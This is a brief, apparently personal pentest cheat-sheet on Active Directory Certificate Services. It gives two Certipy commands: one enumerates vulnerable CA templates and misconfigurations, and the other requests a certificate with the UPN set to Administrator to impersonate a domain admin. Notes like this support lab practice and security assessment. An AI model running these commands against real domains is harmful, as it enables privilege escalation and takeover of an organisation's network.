ADCS

Certipy

Enumerate CA & Misconfigs

certipy find -u amogus@{DOMAIN} -p password -vulnerable -stdout -debug

Requesting a certificate

certipy req -k -no-pass -ca amgs-DC-CA -upn Administrator -target {DOMAIN}

ADCS has a lot of misconfigs, from ESC1 to ESC13. I will add them here as long I would use it on practice at least once

RESOURCES